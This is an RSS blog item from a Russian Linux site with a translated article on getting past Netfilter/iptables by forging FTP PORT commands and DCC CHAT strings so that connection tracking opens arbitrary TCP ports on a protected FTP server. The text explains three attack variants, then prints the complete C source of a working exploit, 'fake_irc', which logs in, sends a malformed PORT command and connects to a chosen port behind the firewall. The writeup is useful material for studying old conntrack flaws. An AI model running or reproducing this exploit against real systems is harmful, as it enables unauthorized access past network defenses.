<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>подборка о Линуксе :) &#187; FTP-команды</title>
	<atom:link href="http://vialinx.org/page/ftp-komandy/feed/" rel="self" type="application/rss+xml" />
	<link>http://vialinx.org</link>
	<description>Просто мой дневник</description>
	<lastBuildDate>Tue, 01 Feb 2011 11:37:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Проникновение через фаервол используя поддельные FTP-команды.</title>
		<link>http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/</link>
		<comments>http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/#comments</comments>
		<pubDate>Thu, 06 May 2010 01:17:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[FTP-команды]]></category>
		<category><![CDATA[используя поддельные]]></category>
		<category><![CDATA[Проникновение через фаервол]]></category>

		<guid isPermaLink="false">http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/</guid>
		<description><![CDATA[Исходник приведен &#34;как есть&#34;. Коментарии не приводятся, поскольку даже без знания английского языка (но при даже небольшом знании языка С) в программе все очевидно.
 
&#160;
[=====«Breaking through a Firewall using a forged FTP command»======]   Soungjoo Han &#60;kotkrye@hanmail.net&#62;    [=Проникновение через фаервол используя поддельные FTP-команды=]    перевод rent0n &#60;podzaeb@gmail.com&#62;
Содержание:   [...]]]></description>
			<content:encoded><![CDATA[<p>Исходник приведен &quot;как есть&quot;. Коментарии не приводятся, поскольку даже без знания английского языка (но при даже небольшом знании языка С) в программе все очевидно.</p>
<p> <span id="more-27"></span>
<p>&#160;</p>
<p>[=====«Breaking through a Firewall using a forged FTP command»======]   <br />Soungjoo Han &lt;kotkrye@hanmail.net&gt;    <br />[=Проникновение через фаервол используя поддельные FTP-команды=]    <br />перевод rent0n &lt;podzaeb@gmail.com&gt;</p>
<p>Содержание:   <br />1.Введение    <br />2.FTP, IRC и динамическая фильтрация пакетов Netfilter&#8217;ом    <br />3.Вариант атаки №1    <br />3.1 Первоначальный обман    <br />3.2 Детали атаки    <br />4.Вариант атаки №2 – нестандартная коммандная строка    <br />4.1 Детали атаки    <br />5.Вариант атаки №3 &#8211; свойство &#8216;echo&#8217; ftp-ответа    <br />5.1 Пассивный режим : общая информация    <br />5.2 Детали атаки    <br />6.Приложение 1. Демонстрация атаки 2-м способом</p>
<p>[=====================1. Введение =======================]</p>
<p>FTP – протокол, использующий два TCP-соединения. Одно из них называется контрольным(control connection), по нему передаются команды от ftp-клиента к серверу и обратно. Контрольное соединение существует на протяжении всей FTP-сессии. Другое же соединение называется каналом передачи данных(data connection – data-соединение). Это соединение существует лишь при передаче данных между узлами сети.   <br />Многие фаерволы не разрешают никаких соединений с FTP-сервером, исключая контрольные соединения по FTP-протоколу(21-й TCP-порт по умолчанию) для обеспечения безопасности. Однако, на протяжении времени передачи файла разрешаются временные каналы передачи данных. Для этого фаервол следит за состоянием контрольного соединения и фиксирует команды, связанные с передачей файлов. Это называется динамическая фильтрация пакетов.    <br />Я придумал 3 способа атаки, которые заставят фаервол разрешить нелегальные ftp-соединения путем обмана проверки соединения с помощью фальшивых ftp-комманд.    <br />Все способы были проверены на iptables, который является дефолтным фаерволом в Linux с ядрами 2.4 – 2.6. 1-й способ тестировался на ядре 2.4.18 и 2.4.28.    <br />Эта уязвимость пофиксена, начиная с ядра 2.6.11.</p>
<p>[=======2. FTP, IRC и динамическая фильтрация пакетов Netfilter'ом======]</p>
<p>Для начала рассмотрим FTP, IRC (позже вы узнаете, почему IRC тут упоминается) и динамическую фильтрацию пакетов. Если вы хорошо разбираетесь в этом, то можете пропустить эту главу.   <br />Как уже установлено, FTP использует контрольное соединение для отправки и получения команд(представленных в ASCII), и использует канал передачи данных для передачи файлов.    <br />Например, когда вы вводите «ls» или «get» &lt;filename&gt; в FTP-приглашении, FTP-сервер (в активном режиме) инициирует установление канала передачи данных с портом(который называется data-порт) на вашей системе. Клиент, в свою очередь, отправляет номер порта,используя команду PORT:</p>
<p>PORT&lt;space&gt;h1,h2,h3,h4,p1,p2&lt;CRLF&gt;</p>
<p>Тут символы «h1,h2,h3,h4» сообщают точечно-десятичную запись IP-адреса клиента (h1.h2.h3.h4), а строка «p1,p2» сообщает номер порта данных (= p1 * 256 + p2). Каждое поле адреса и номер порта представляет собой 10-ное число. Дата-порт динамически назначается клиентом. Команды и ответы звканчиваются последовательностью &lt;CRLF&gt;.   <br />Netfilter отслеживает контрольное соединение FTP и принимает последовательность чисел и длину данных пакета, содержащего FTP-команду(заканчивающуюся &lt;LF&gt;). Затем он вычисляет последовательность чисел следующих команд, основываясь на этой информации. Когда прибыл пакет с последовательностью чисел, Netfilter анализирует, содержат ли данные пакета FTP-команду. Если заголовок данных идентичен &quot;PORT&quot;, и пакет заканчивается &lt;CRLF&gt;, Netfilter принимает это за действительную команду PORT(фактические коды более запутанны) и извлекает оттуда IP-адрес и номер порта. Впоследствии Netfilter ожидает установления сервером канала передачи данных с определенным портом клиента. Когда запрос на установление соединения действительно прибывает, Netfilter разрешает соединение только пока оно действует. В случае незавершенной (неполной) команды, данные удаляются.    <br />IRC (Internet Relay Chat) &#8211; система диалогового общения по Интернету. IRC-клиент может использовать непосредственное соединение надлежащим образом общаясь с другим клиентом. Когда клиент логинится на сервере, он/она коннектится к IRC-серверу(порт 6667 по умолчанию). С другой стороны, когда клиент хочет общаться с другим, он устанавливает прямое соединение с другим участником. Для этого клиент отправляет сообщение, называемое DCC CHAT. Эта команда аналогична команде FTP PORT, и Netfilter также отслеживает IRC-соединения. Он ожидает и разрешает прямые IRC-соединения.</p>
<p>[====================3. Вариант атаки №1==================]</p>
<p>3.1 Первоначальный обман</p>
<p>Я придумал, как можно нелегально коннектиться к любому TCP-порту на FTP-сервере, защищенному Netfilter&#8217;ом, обманывая модуль отслеживания соединений в ядре Linux 2.4.18.   <br />В большинстве случаев, администраторы используют динамическую фильтрацию пакетов для разрешения передачи файлов по FTP или для прямого соединения в IRC. Для этого администраторы обычно вставляют в список правил IPTables следующее правило:</p>
<p>iptables -A FORWARD -m state &#8211;state ESTABLISHED, RELATED -j ACCEPT</p>
<p>Примечание(rent0n&lt;podzaeb@gmail.com&gt;):=========================   <br />Когда пакет приходит на наш брандмауэр, то он сперва попадает на сетевое устройство, перехватывается соответствующим драйвером и далее передается в ядро. Далее пакет проходит ряд таблиц и затем передается локальному приложению, либо перенаправляется на другую машину. Пакеты, предназначенные локальному приложению, проходят цепочки PREROUTING(обычно тут вносятся изменения в заголовок пакета + преобразование адресов(DNAT)) и INPUT(тут происходит непосредственно фильтрация входящего трафика). Все транзитные пакеты попадают проходят через цепочку FORWARD, где и осуществляется фильтрация транзитного трафика, идущего в обоих направлениях.    <br />Вне ядра пакеты могут иметь только 4 состояния. В основном состояние пакета используется критерием –state. Допустимыми являются состояния NEW, ESTABLISHED, RELATED и INVALID. Вкратце опишем каждое состояние:    <br />NEW сообщает о том, что пакет является первым для данного соединения. Например, это может быть SYN-пакет.(Вспомним &quot;3-этапное рукопожатие&quot; при установлении соединения).    <br />Соединение получает статус RELATED, когда оно связано с другим соединением, имеющим признак ESTABLISHED. Т.е., cоединение получает признак RELATED только когда оно инициировано из уже установленного соединения, имеющего признак ESTABLISHED. Хороший пример RELATED-соединения – соединение FTP-data(т.е. создание канала передачи данных), которое связано с контрольным соединением, а также состояние DCC CHAT в IRC.    <br />Состояние ESTABLISHED говорит о том, что это не первый пакет в соединении. После получения ответа состояние NEW или RELATED изменяется на ESTABLISHED.    <br />Признак INVALID говорит о том, что пакет не может быть идентифицирован и поэтому не может иметь определенного статуса.    <br />Итак, это правило    <br />iptables -A FORWARD -m state &#8211;state ESTABLISHED, RELATED -j ACCEPT    <br />расшифровывается так:    <br />Добавляется новое правило для цепочки FORWARD, согласно которому принимаются все пакеты, имеющие состояние ESTABLISHED и RELATED. При этом пакет прекращает движение по цепочке.    <br />=====================================================</p>
<p>Допустим, что злоумышленник, залогинивщийся на FTP-сервере, передает команду PORT с номером TCP-порта 6667(это по умолчанию порт IRC-сервера) и затем пытается загрузить с сервера файл. FTP-сервер инициирует установление канала передачи данных с 6667 портом на хосте злоумышленника. Фаервол разрешает это соединение при установленной динамической фильтрации пакетов. Когда соединение установлено, модуль отслеживания соединений фаервола (в ядре Linux 2.4.1Cool ошибочно принимает его за irc-соединение. Таким образом хост атакующего может притвориться IRC-сервером.   <br />Когда атакующий загружает файл, содержащий строку с шаблоном команды DCC CHAT, модуль отслеживания соединений ошибочно примет содержание пакета данных за команду DCC CHAT.    <br />В результате фаервол разрешит всем хостам коннектиться к TCP-порту, определенному командой DCC CHAT, на IRC-клиенте (т.е., FTP-сервере) в соотвествии с правилом разрешения связанных(родственных) соединений. Для этого атакующий может загрузить файл перед вторжением.    <br />В заключение отметим, что атакующий может нелегально коннектиться ко всем TCP-портам на FTP-сервере.</p>
<p>3.2 Детали атаки</p>
<p>Для описания деталей примем следующую конфигурацию:   <br />1.Netfilter/IPtables защищает FTP-сервер в сети. Поэтому пользователи из внешней сети могут коннектиться только к FTP-порту на FTP-сервере. Разрешенные пользователи могут логиниться на сервере и скачивать/закачивать файлы.    <br />2.Пользователи в защищенной сети, включая FTP-сервер, могут коннектится только к IRC-серверам во внешней сети.    <br />3.Пока один из интернет-демонов находится в состоянии (1) или (2), дополнительные соединения(например, FTP data-соединение), могут быть временно приняты.    <br />4.Все другие соединения блокируются</p>
<p>Для реализации динамической фильтрации для FTP и IRC администратор загружает модули ip_conntrack: ip_conntrack_ftp и ip_conntrack_irc. Ipt_state также должен быть загружен. В этом случае атакующий может легко создать программу, логинящуюся на FTP-сервере и заставляющую сервер инициировать создание канала передачи данных с произольным портом на его хосте.   <br />Предположим, что атакующий передает команду PORT c data-портом 6667(дефолтный порт irc-сервера).    <br />Например, так:&quot;PORT 192,168,100,100,26,11\r\n&quot;.    <br />Модуль ip_conntrack_ftp, отслеживающий такие соединения, анализирует команду PORT и ожидает от FTP-сервера активации открытия соединения с определенным портам на хосте атакующего.    <br />После этого атакующий отправляет FTP-команду для загрузки файла &quot;RETR &lt;a file name&gt;&quot;. Сервер пробует соединиться с портом 6667 на хосте атакующего. Netfilter разрешает установление канала передачи данных при динамической фильтрации пакетов.    <br />Когда соединение установлено, модуль ip_conntrack ошибочно принимает его за IRC-соединение. Ip_conntrack принимает FTP-сервер за IRC-клиент, а атакующий хост – за IRC-сервер. И если поддельный IRC-клиент(т.е., FTP-сервер),будет отправлять пакеты по каналу передачи данных, модуль ip_conntrack_irc будет пытаться обнаружить в пакетах сообщения по протоколу DCC.    <br />Атакующий может заставить FTP-сервер отправить поддельные команды DCC CHAT, использую следующую хитрость. Перед вторжением атакующий загружает файл, содержащий строку, подобную этой:</p>
<p>&quot;\1DCC&lt;пробел&gt;CHAT&lt;пробел&gt;t&lt;пробел&gt;&lt;Десятичная запись IP-адреса клиента&gt;&lt;пробелы&gt;&lt;Номер TCP-порта на IRC-клиенте&gt;\1\n&quot;</p>
<p>Например, &quot;\1DCC CHAT t 3232236548 8000\1\n&quot;.</p>
<p>В этом случае Netfilter разрешает любому хосту инициировать открытие ТСР-порта, определенного в этой строке. Конечно, атакующий может произвольно ограничить номер ТСР-порта в поддельных DCC CHAT коммандах.   <br />Если такой пакет проходит через фаервол, модуль ip_conntrack_irc ошибочно принимает его за команду DCC CHAT и ожидает от любого хоста активации открытия поределенного порта на FTP-сервере для непосредственного соединения.    <br />Атакующий может нелегально коннектиться ко всем TCP-портам на FTP-сервере, используя эту хитрость.</p>
<p>========4. Вариант атаки №2 – нестандартная коммандная строка========</p>
<p>4.1 Детали атаки</p>
<p>Netfilter в ядре Linux 2.4.20 (и в более поздних версиях) также определяет, что вторичные (или дополнительные) соединения (как, например, FTP-data соединение), принятые главным соединением, не считаются ошибочными. Таким образом, содержимое пакетов FTP-data соединения не будет анализироваться ничем иным, кроме модуля отслеживания irc-соединений.   <br />Тем не менее я придумал способ коннектиться к любому TCP порту на на FTP-сервере, защищенном Netfilter&#8217;ом, используя нестандартные FTP-команды. Как я уже говорил, я покажу, что это работает в Linux 2.4.28.    <br />При обстоятельствах, установленных в предыдущей главе, злоумышленник из внешней сети может легко создать программу, которая будет коннектиться на FTP-сервере и передавать нестандартные ftp-команды. Например, атакующий может передать команду PORT без символа &lt;CR&gt; в конце, т.е. Команда будет заканчиваться лишь символом &lt;LF&gt;.    <br />Например, &quot;PORT 192,168,100,100,26,11\n&quot;.    <br />Обычные же команды заканчиваются &lt;CRLF&gt;. Если модуль ip_conntrack_ftp принимает нестандартную FTP-команду такого типа, он ее анализирует и пытается отыскать символ &lt;CR&gt;. Поскольку этот символ отсутствует, ip_conntrack_ftp принимает команду за &quot;неполную&quot; и удаляет пакет.Но перед этим ip_conntrack_ftp ожидает пакет с определенным порядковым номером, содержащий следующую FTP-команду и обновляет связанную с этим информацию. Этот номер вычисляется, основываясь на порядковом номере и длине данных &quot;неполной&quot; FTP-команды. Тем не менее, TCP-клиент впоследствии обычно повторно передает идентичную FTP-команду PORT, если ответ не был получен. В этом случае ip_conntrack_ftp не рассматривает этот повторно переданный пакет как FTP-команду, поскольку его порядковый номер отличается от ожидаемого. С точки зрения ip_conntrack_ftp пакет имеет неверный порядковый номер. Модуль ip_conntrack_ftp разрешает этот пакет без анализа команды. А FTP-сервер в конечном итоге может принять этот повторно переданный атакующим пакет. Несмотря на то, что ip_conntrack_ftp рассматривает эту неполную FTP-команду как недействительную, некоторые FTP-сервера, такие как wu-ftp, рассматривают неполную FTP-команду как действительную. Фаервол в этом случае опять же ошибочно ожидает установления канала передачи(FTP data connection). И когда атакующий отправляет команду RETR для загрузки файла с сервера, сервер инициализирует установление соединения с TCP-портом на хосте атакующего, определенным в команде PORT.    <br />Предположим, что номер порта 6667(порт IRC-сервера). Фаервол принимает соединение под контролем правила, фильтрующего статические пакеты, которое разрешает IRC-соединения, вместо статической фильтрации пакетов. Так модуль отслеживания соединений IP ошибается с IRC-соединением. Следующим шагом атакующего может быть прием, рассмотренный в предыдущей главе. Таким образом, атакующий может нелегально коннектиться ко всем TCP-портам, защищенным фаерволом.</p>
<p>*[дополнение] Более профессиональный способ обмана Netfilter. Он использует дефолтный data-порт. При условии, что data-порт не определяется в команде PORT и требуется установить data-соединение, FTP-сервер активизирует открытие портов с номерами от 20 до номера порта контрольного соединения(21). Для этого клиент предварительно прослушивает локальные порты. Вдобавок, атакующий может связать локальный порт с 6667(IRCD), и установить опцию сокета &quot;SO_REUSEADDR&quot; для повторного использования порта.   <br />Так как команда PORT никогда не проходит через Netfiter, фаервол не может предупреждать data-соединение. Я покажу, что это работает в Linux с ядром 2.4.20.</p>
<p>** Демонстрационная программа и пример атаки описаны в приложениях 1 и 2.</p>
<p>[==========5. Вариант атаки №3 - свойство 'echo' ftp-ответа==========]</p>
<p>5.1 Пассивный режим : общая информация</p>
<p>FTP-сервер способен открывать также пассивное data-соединение. Это называется пассивный FTP. Наоборот, активное открытие соединения называется активным FTP.   <br />Перед передачей файлов в пассивном режиме клиент отправляет серверу команду PASV, а сервер отвечает соответствующим сообщением, содержащим номер порта клиента, например:    <br />-&gt; USER &lt;a user name&gt;\r\n    <br />&lt;- 331 Password required for &lt;the user name&gt;.\r\n</p>
<p>5.2 Детали атаки</p>
<p>Обычно после соединения пользователя с FTP-сервером, сервер сразу же запрашивает имя пользователя. Когда клиент вводит имя в FTP-приглашении, на сервер отправляется команда USER с последовательностью символов имени пользователя, которые частично возвращаются. Например, пользователь вводит имя &quot;Alice Lee&quot; в FTP-приглашении</p>
<p>-&gt; USER Alice Lee\r\n   <br />FTP-сервер обычно возвращает следующее:    <br />&lt;- 331 Password required for Alice Lee.\r\n    <br />(&quot;Alice Lee&quot; повторяется.)</p>
<p>Пробелы могут включаться в имя пользователя. Злоумышленник может вставить вместо имени произвольный шаблон. Например, когда вставляется вместо имени ответ пассивного FTP, часть прибывшего ответа подобна ответу пассивного FTP.</p>
<p>-&gt; USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n   <br />&lt;- 331 Password required for 227 Entering Passive Mode    <br />(192,168,20,29,42,125).\r\n</p>
<p>Может ли фаервол спутать это с &quot;настоящим&quot; ответом пассиного FTP? Может быть большинство фаерволов не ошибаются тут, поскольку шаблон находится в середине ответа. Предположим, однако, что размер TCP-окна соединения регулируется атакующим, когда соединение уже установлено. В этом случае ответа может быть разделено на 2 части.</p>
<p>(A) &#8212;&#8211;&gt;USER xxxxxxxxx227 Entering Passive Mode   <br />(192,168,20,29,42,125)\r\n    <br />(B) &lt;&#8212;&#8211;331 Password required for xxxxxxxxx    <br />(C) &#8212;&#8211;&gt;ACK(with no data)    <br />(D) &lt;&#8212;&#8211;227 Entering Passive Mode (192,168,20,20,42,125).\r\n</p>
<p>(где символы &quot;хххх&#8230;.&quot; &#8211; просто буквы, всатвленные для регулирования длины данных)</p>
<p>Я тестировал этот способ на Netfilter/IPTables. Я покажу, что Netfilter не ошибается в подобных случаях. Причина этого в следующем:   <br />(В) – это неполная FTP-команда, заканчивающаяся &lt;LF&gt;. Netfilter, соответствено, никогда не рассматиривает (D) – следующий пакет данных – как ответ. В результате фаервол не пробует разобрать (D). Но все же в случае небрежной реализации модуля отслеживания соединений атака будет работать. В этом случае фаервол будет ожидать от клиента активного открытия соединения с портом на FTP-сервере,причем номер порта определен в поддельном ответе. Когда атакующий инициализирует установление соединения с целевым портом на сервере, фаерволл в конечном итоге принимает нелегальное соединение.</p>
<p>[=========6. Приложение 1. Демонстрация атаки 2-м способом=========]</p>
<p>Я написал программу, использующую данную уязвимость, на языке С. Для компиляции использовалась команда:   <br />/&gt;gcc -Wall -o fake_irc fake_irc.c</p>
<p>Исходник программы:</p>
<p>/*   <br />USAGE : ./fake_irc &lt;an FTP server IP&gt; &lt;a target port&gt;    <br />&lt;a user name&gt; &lt;a password&gt; &lt;a file name to be downloaded&gt;</p>
<p>- &lt;an FTP server IP&gt; : An FTP server IP that is a victim   <br />- &lt;a target port&gt; : the target TCP port on the FTP server to which an    <br />attacker wants to connect    <br />- &lt;a user name&gt; : a user name used to log on the FTP server    <br />- &lt;a password&gt; : a password used to log on the FTP server    <br />- &lt;a file name to be downloaded&gt; : a file name to be downloaded from the    <br />FTP server    <br />*/</p>
<p>#include &lt;stdio.h&gt;   <br />#include &lt;stdlib.h&gt;    <br />#include &lt;string.h&gt;    <br />#include &lt;unistd.h&gt;    <br />#include &lt;sys/socket.h&gt;    <br />#include &lt;arpa/inet.h&gt;</p>
<p>#define BUF_SIZE 2048   <br />#define DATA_BUF_SZ 65536    <br />#define IRC_SERVER_PORT 6667    <br />#define FTP_SERVER_PORT 21</p>
<p>static void usage(void)   <br />{    <br />printf(&quot;USAGE : ./fake_irc &quot;    <br />&quot;&lt;an FTP server IP&gt; &lt;a target port&gt; &lt;a user name&gt; &quot;    <br />&quot;&lt;a password&gt; &lt;a file name to be downloaded&gt;\n&quot;);</p>
<p>return;   <br />}</p>
<p>void send_cmd(int fd, char *msg)   <br />{    <br />if(send(fd, msg, strlen(msg), 0) &lt; 0) {    <br />perror(&quot;send&quot;);</p>
<p>exit(0);   <br />}</p>
<p>printf(&quot;&#8212;&gt;%s\n&quot;, msg);   <br />}</p>
<p>void get_reply(int fd)   <br />{    <br />char read_buffer[BUF_SIZE];    <br />int size;</p>
<p>//get the FTP server message   <br />if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) &lt; 0) {    <br />perror(&quot;recv&quot;);</p>
<p>exit(0);   <br />}</p>
<p>read_buffer[size] = &#8216;\0&#8242;;</p>
<p>printf(&quot;&lt;&#8212;%s\n&quot;, read_buffer);   <br />}</p>
<p>void cmd_reply_xchg(int fd, char *msg)   <br />{    <br />send_cmd(fd, msg);    <br />get_reply(fd);    <br />}</p>
<p>/*   <br />argv[0] : a program name    <br />argv[1] : an FTP server IP    <br />argv[2] : a target port on the FTP server host    <br />argv[3] : a user name    <br />argv[4] : a password    <br />argv[5] : a file name to be downloaded    <br />*/    <br />int main(int argc, char **argv)    <br />{    <br />int fd, fd2, fd3, fd4;    <br />struct sockaddr_in serv_addr, serv_addr2;    <br />char send_buffer[BUF_SIZE];    <br />char *ftp_server_ip, *user_id, *pwd, *down_file;    <br />unsigned short target_port;    <br />char data_buf[DATA_BUF_SZ];    <br />struct sockaddr_in sa_cli;    <br />socklen_t client_len;    <br />unsigned int on = 1;    <br />unsigned char addr8[4];    <br />int datasize;</p>
<p>if(argc != 6) {   <br />usage();    <br />return -1;    <br />}</p>
<p>ftp_server_ip = argv[1];   <br />target_port = atoi(argv[2]);    <br />user_id = argv[3];    <br />pwd = argv[4];    <br />down_file = argv[5];</p>
<p>if((fd = socket(AF_INET, SOCK_STREAM, 0)) &lt;0) {   <br />perror(&quot;socket&quot;);    <br />return -1;    <br />}</p>
<p>bzero(&amp;serv_addr, sizeof(struct sockaddr_in));   <br />serv_addr.sin_family = AF_INET;    <br />serv_addr.sin_port = htons(FTP_SERVER_PORT);    <br />serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);</p>
<p>//connect to the FTP server   <br />if(connect(fd, (struct sockaddr *) &amp;serv_addr, sizeof(struct sockaddr))) {    <br />perror(&quot;connect&quot;);    <br />return -1;    <br />}</p>
<p>//get the FTP server message   <br />get_reply(fd);</p>
<p>//exchange a USER command and the reply   <br />sprintf(send_buffer, &quot;USER %s\r\n&quot;, user_id);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>//exchange a PASS command and the reply   <br />sprintf(send_buffer, &quot;PASS %s\r\n&quot;, pwd);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>//exchange a SYST command and the reply   <br />sprintf(send_buffer, &quot;SYST\r\n&quot;);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>sleep(1);</p>
<p>//write a PORT command   <br />datasize = sizeof(serv_addr);</p>
<p>if(getsockname(fd, (struct sockaddr *)&amp;serv_addr, &amp;datasize) &lt; 0 ) {   <br />perror(&quot;getsockname&quot;);    <br />return -1;    <br />}</p>
<p>memcpy(addr8, &amp;serv_addr.sin_addr.s_addr, sizeof(addr8));</p>
<p>sprintf(send_buffer, &quot;PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n&quot;,   <br />addr8[0], addr8[1], addr8[2], addr8[3],    <br />IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);</p>
<p>cmd_reply_xchg(fd, send_buffer);</p>
<p>//Be a server for an active FTP data connection   <br />if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) &lt;0) {    <br />perror(&quot;socket&quot;);    <br />return -1;    <br />}</p>
<p>if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &amp;on, sizeof(on)) &lt; 0) {   <br />perror(&quot;setsockopt&quot;);    <br />return -1;    <br />}</p>
<p>bzero(&amp;serv_addr, sizeof(struct sockaddr_in));   <br />serv_addr.sin_family = AF_INET;    <br />serv_addr.sin_port = htons(IRC_SERVER_PORT);    <br />serv_addr.sin_addr.s_addr = INADDR_ANY;</p>
<p>if( bind(fd2, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0 ) {   <br />perror(&quot;bind&quot;);    <br />return -1;    <br />}</p>
<p>if( listen(fd2, SOMAXCONN) &lt; 0 ) {   <br />perror(&quot;listen&quot;);    <br />return -1;    <br />}</p>
<p>//send a RETR command after calling listen()   <br />sprintf(send_buffer, &quot;RETR %s\r\n&quot;, down_file);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>//accept the active FTP data connection request   <br />client_len = sizeof(sa_cli);    <br />bzero(&amp;sa_cli, client_len);</p>
<p>fd3 = accept (fd2, (struct sockaddr*) &amp;sa_cli, &amp;client_len);</p>
<p>if( fd3 &lt; 0 ) {   <br />perror(&quot;accept&quot;);    <br />return -1;    <br />}</p>
<p>//get the fake DCC command   <br />bzero(data_buf, DATA_BUF_SZ);</p>
<p>if( recv(fd3, data_buf, DATA_BUF_SZ, 0) &lt; 0) {   <br />perror(&quot;recv&quot;);    <br />return -1;    <br />}    <br />puts(data_buf);</p>
<p>///Start of the attack   <br />if((fd4= socket(AF_INET, SOCK_STREAM, 0)) &lt;0) {    <br />perror(&quot;socket&quot;);    <br />return -1;    <br />}</p>
<p>bzero(&amp;serv_addr2, sizeof(struct sockaddr_in));   <br />serv_addr2.sin_family = AF_INET;    <br />serv_addr2.sin_port = htons(target_port );    <br />serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);</p>
<p>if(connect(fd4, (struct sockaddr *)&amp;serv_addr2, sizeof(struct sockaddr)))   <br />{    <br />perror(&quot;connect&quot;);    <br />return -1;    <br />}else    <br />printf(&quot;\nConnected to the target port!!\n&quot;);</p>
<p>//Here, communicate with the target port   <br />sleep(3);</p>
<p>close(fd4);//close the attack connection   <br />/////////////The end of the attack.</p>
<p>close(fd3);//close the FTP data connection</p>
<p>//get the reply of FTP data transfer completion   <br />get_reply(fd);</p>
<p>sleep(1);</p>
<p>close(fd);//close the FTP control connection   <br />close(fd2);</p>
<p>return 0;</p>
<p>}/*The end*/</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

